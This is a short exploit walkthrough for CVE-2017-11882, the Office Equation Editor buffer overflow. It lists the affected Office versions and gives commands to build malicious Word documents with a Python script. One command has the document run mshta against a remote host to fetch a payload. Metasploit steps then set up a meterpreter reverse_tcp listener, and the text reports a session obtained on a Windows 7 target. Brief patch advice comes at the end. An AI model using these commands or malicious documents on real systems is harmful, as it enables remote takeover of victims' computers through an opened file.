CVE-2017-11882

CVE-2017-11882 Overview

From the perspective of exploit effectiveness, it can kill all versions of Office from 2003 to 2016, and the entire attack environment is very simple to build. This vulnerability is caused by the [Equation Editor] in Office software. Because the editor process does not validate the length of names, it leads to a buffer overflow. Attackers can achieve arbitrary code execution by constructing special characters. For example, if a hacker exploits this vulnerability to construct an Office file with a shell backdoor, when a normal user opens the Office file, the computer can be directly controlled by the hacker.

Affected Versions:

office 2003 
office 2007 
office 2010 
office 2013 
office 2016

Usage

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

Click the generated "test.doc", the calculator tool pops up successfully.

python Command_CVE-2017-11882.py -c "mshta http://192.168.43.165:8080/11882" -o 11882-3.doc

Successfully generated the 11882-3.doc Word file.

Place the cve_2017_11882.rb file into /usr/share/metasploit-framework/modules/exploits/windows/smb directory:

msf > search CVE-2017-11882
msf > use exploit/windows/smb/CVE-2017-11882 
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp 
msf exploit(CVE-2017-11882) > set lhost 192.168.43.165 
msf exploit(CVE-2017-11882) > set uripath 11882 
msf exploit(CVE-2017-11882) > exploit

Start listening:

Click the 11882-3.doc file on the Win7 target machine, and obtain session successfully!

Vulnerability Fix

① Online update: Enable Windows Update. This method is sufficient for most people.

② Patch installation: The Microsoft patch corresponding to this vulnerability is at: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882